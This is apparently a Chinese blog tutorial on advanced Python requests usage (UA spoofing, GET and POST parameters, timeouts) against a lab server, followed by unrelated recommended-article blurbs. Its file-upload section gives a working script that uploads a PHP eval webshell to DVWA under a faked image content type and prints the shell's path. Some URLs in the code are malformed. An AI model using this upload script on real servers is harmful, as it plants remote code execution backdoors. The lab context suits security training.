requests模块高级用法练习

2023-09-20 21:44:32

模拟浏览器指纹

打开http://10.9.75.164/php/functions/setcookie.php网页,找到请求头的UA字段,这段信息是浏览器的指纹(包括当前系统、浏览器名称和版本):

在这里插入图片描述

在Python脚本中新建一个headers字段,将该UA字段的信息放入:

下面脚本中用headers模拟了浏览器指纹,然后用requests.Session保持请求一致性,接着用req.get方法做请求,请求成功后输出头部信息。这个脚本模拟了正常浏览器指纹,让Python脚本不会被服务器拒绝访问

import requests

url= "http://10.9.75.164/php/functions/setcookie.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
req= requests.Session()			# 保持请求一致性
res= req.get(url= url,headers= headers)

print(res.request.headers)

如下图,请求成功后输出信息:

在这里插入图片描述

发送get请求

在之前代码的基础上,定义一个params字典进行get传参,并输出响应正文:

import requests
url= "http://10.9.75.164/php/functions/setcookie.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
params={
    "username":"EMT",
    "password":"123456"
}
req= requests.Session()
# 保持请求一致性
res= req.get(url= url,headers= headers,params=params)
print(res.text)

运行结果如下:

在这里插入图片描述

发送post请求

url路径替换为同目录下的post.php文件,定义一个data字典传递post参数,用req.post方法传参,传参后输出响应正文、请求头和请求正文。

import requests
url= "http://10.9.75.164/php/functions/post.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
data={
    "username":"EMT",
    "password":"123456"
}
req= requests.Session()
# 保持请求一致性
res= req.post(url= url,headers= headers,data=data)
print(res.text)
print(res.request.headers)
print(res.request.body)

如下图,成功输出了响应正文、请求头和请求正文:

在这里插入图片描述

文件上传

打开bp的内置浏览器,在文件上传一关上传一个文件,显示上传成功:
在这里插入图片描述

上传成功后用bp抓包,发送到repeater模块,查看数据包,要想用Python脚本上传文件,就要有下面三个数据包的字段:POST请求方法、10.9.75.164的请求页面和POST请求包携带的参数

在这里插入图片描述

然后在页面查看源码,上传文件的地方就是文件的文件域,可以看到它的类型是文件,name=“uploaded”:
在这里插入图片描述

上传文件时,会对文件的后缀、类型和内容进行检测,也就是抓到数据包的下面部分:

Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[777])phpinfo() ?>

在Python脚本中,要将上面三部分内容放到一个字典中的文件域中(文件域是一个元组),文件内容二进制上传,前面加上b:

files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}

在有了文件的后缀、类型和内容后,还需要数据包中的两部分内容MAX_FILE_SIZE和Upload:

data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}

上面内容都集齐后,该脚本还需要登录dvwa网站才能上传文件,所以还需要cookie信息,将它添加到headers中:

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }

下面是完整脚本,这时候体现出关键字传参的优越性,post包中的字段都有先后顺序,用关键字传参可以准确地按次序传参,不会造成错误,最后输出响应正文:

import requests
url= "http://http://10.9.75.164/dvwa_2.0.1/vulnerabilities/upload/"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }
data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}
files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}
req= requests.Session()
# 保持请求一致性
res= req.post(url= url,headers= headers,files=files,data=data)

print(res.text)

但是这样输出的响应正文内容非常多,我们怎么才能提取出有用信息呢?用正则表达式。

添加一个bs4模块,用bs4.BeautifulSoup解析响应正文,然后用soup.findAll(“pre”)搜索所有的包含pre标签的内容:
在这里插入图片描述

它是一个列表,用pre[0].text转成文本:
在这里插入图片描述

最后查找第一个空格后切割,然后输出,完整代码如下:

import requests
import bs4
url="http:10.9.75.164/dvwa_2.0.1/vulnerabilities/upload/"

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }

data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}

files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}

req= requests.Session()
# 保持请求一致性

res= req.post(url= url,headers= headers,data=data,files=files)

html= res.text
soup= bs4.BeautifulSoup(html,"lxml")
pre= soup.findAll("pre")
pre= pre[0].text


shell_path= pre[0:pre.find(" ")]
print(f"[+] Shell Path:{url}{shell_path}")

执行该脚本后成功获取到上传后文件的路径:

在这里插入图片描述

访问该路径如下,写入一句话木马成功:

在这里插入图片描述

服务器超时

在dvwa目录下写一个php文件并访问:

在这里插入图片描述

然后Python访问该文件,写一个get_timeout,设置超时时间为5秒,让该方法在超时时输出timeout!,成功访问则返回响应正文,最后用print输出该方法的返回值(此处用try else和except做了Python异常处理,关于Python异常,详情请移步我的这篇博客 Python异常):

import requests

url = "http://10.9.75.164/php/functions/sleep.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low;PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }
def get_timeout(url):
    try:
        req= requests.Session()
        res= req.post(url= url,headers= headers,timeout=5)
    except:
        return "timeout!"
    else:
        return res.text

print(get_timeout(url))

如图,因为php中的沉睡时间是10秒,脚本中的超时时间是5秒,所以访问超时,输出结果如下:
在这里插入图片描述

修改php中的沉睡时间为3秒,输出结果如下,能正常回显php文件的内容:

在这里插入图片描述

更多推荐

mysql:列类型之float、double

mysql:列类型之float、double_mysqldouble_普通网友的博客-CSDN博客环境:window10vs2022.net6mysql8.0.25DBeaver参考:《MSDN:浮点数值类型(C#引用)》《mysql:11.1.4Floating-PointTypes(ApproximateValue

Flutter开发桌面应用的一些探索分享

引言在移动应用开发领域,Flutter已经赢得了广泛的认可和采用,成为了跨平台移动应用开发的瑞士军刀。然而,Flutter的魅力并不仅限于移动平台,它还可以用于开发桌面应用程序,为开发人员提供了一种全新的选择。本文将深入探讨Flutter在桌面应用开发中的应用,以及目前国内新颖的跨端开发技术。桌面应用开发的现状在过去,

RHCE---Linux的计划任务

文章目录前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结前言如果想要让自己设计的备份程序可以自动地在系统下面运行,而不需要手动来启动它,这是该如何处理?这些任务可以分为【单一】任务和【循环】任务,在系统内又是哪些服务在负责?有的工作是例行性的,而有些任务是临时发生的。但是计算机不在身边这时就可以使用计

【C语言】字符串函数

文章目录前言1.strcat2.strncpy3.strncat4.strncmp5.strstr6.strtok7.strerror8.strcat的模拟实现9.strstr的模拟实现总结添加链接描述前言大家好呀,今天给大家分享一下字符函数和字符串函数C语言中对字符和字符串的处理很是频繁,但是C语言本身是没有字符串类

可转债实战与案例分析——成功的和失败的可转债投资案例、教训与经验分享

实战与案例分析——投资案例研究股票量化程序化自动交易接口一、成功的可转债投资案例成功的可转债投资案例提供了有价值的经验教训,以下是一个典型的成功案例:案例:投资者B的成功可转债投资投资者B是一位懂得风险管理的投资者,他在某家知名科技公司发行的可转债上发现了投资机会。以下是他的投资故事:投资背景:投资者B注意到该科技公司

大气化学在线耦合模式WRF/Chem

查看原文:区域气象-大气化学在线耦合模式(WRF/Chem)在大气环境领域实践随着我国经济快速发展,我国面临着日益严重的大气污染问题。近年来,严重的大气污染问题已经明显影响国计民生,引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果,同时气象因素是控制大气污染的关键自然

【自然语言处理】【大模型】RWKV:基于RNN的LLM

相关博客【自然语言处理】【大模型】RWKV:基于RNN的LLM【自然语言处理】【大模型】CodeGen:一个用于多轮程序合成的代码大语言模型【自然语言处理】【大模型】CodeGeeX:用于代码生成的多语言预训练模型【自然语言处理】【大模型】LaMDA:用于对话应用程序的语言模型【自然语言处理】【大模型】DeepMind

分布式事物【RocketMQ事务消息、Docker安装 RocketMQ、实现订单微服务、订单微服务业务层实现】(八)-全面详解(学习总结---从入门到深化)

目录可靠消息最终一致性分布式事务实现_RocketMQ事务消息可靠消息最终一致性分布式事务实战_案列业务介绍数据库表设计可靠消息最终一致性分布式事务实战_Docker安装RocketMQ部署RocketMQ的管理工具可靠消息最终一致性分布式事务实战_实现订单微服务可靠消息最终一致性分布式事务实战_订单微服务业务层实现可

淘宝分布式文件存储系统( 二 ) -TFS

淘宝分布式文件存储系统(二)->>TFS目录:大文件存储结构哈希链表的结构文件映射原理及对应的API文件映射头文件的定义大文件存储结构:采用块(block)文件的形式对数据进行存储,分成索引块,主块,扩展块。所有的小文件都是存放到主块中的,扩展块用来保存溢出的数据,也就是当我们的主快存储不下的时候,数据就会保存到扩展块

kafka 分布式的情况下,如何保证消息的顺序消费?

目录一、什么是分布式二、kafka介绍三、消息的顺序消费四、如何保证消息的顺序消费一、什么是分布式分布式是指将计算任务分散到多个计算节点上进行并行处理的一种计算模型。在分布式系统中,多台计算机通过网络互联,共同协作完成任务。每个计算节点都可以独立运行,并且可以相互通和协调。这种分布式的架构可以提高计算能力和可靠性,充分

高云FPGA系列教程(8):ARM串口数据接收(中断和轮询方式)

文章目录@[toc]1.GW1NSR-4C串口外设简介2.FPGA配置3.常用函数4.轮询方式接收数据5.中断方式接收数据本文是高云FPGA系列教程的第8篇文章。本篇文章介绍片上ARMCortex-M3硬核处理器串口外设的使用,演示轮询方式和中断方式接收串口数据,并进行回环测试,基于TangNano4K开发板。参考文档

热文推荐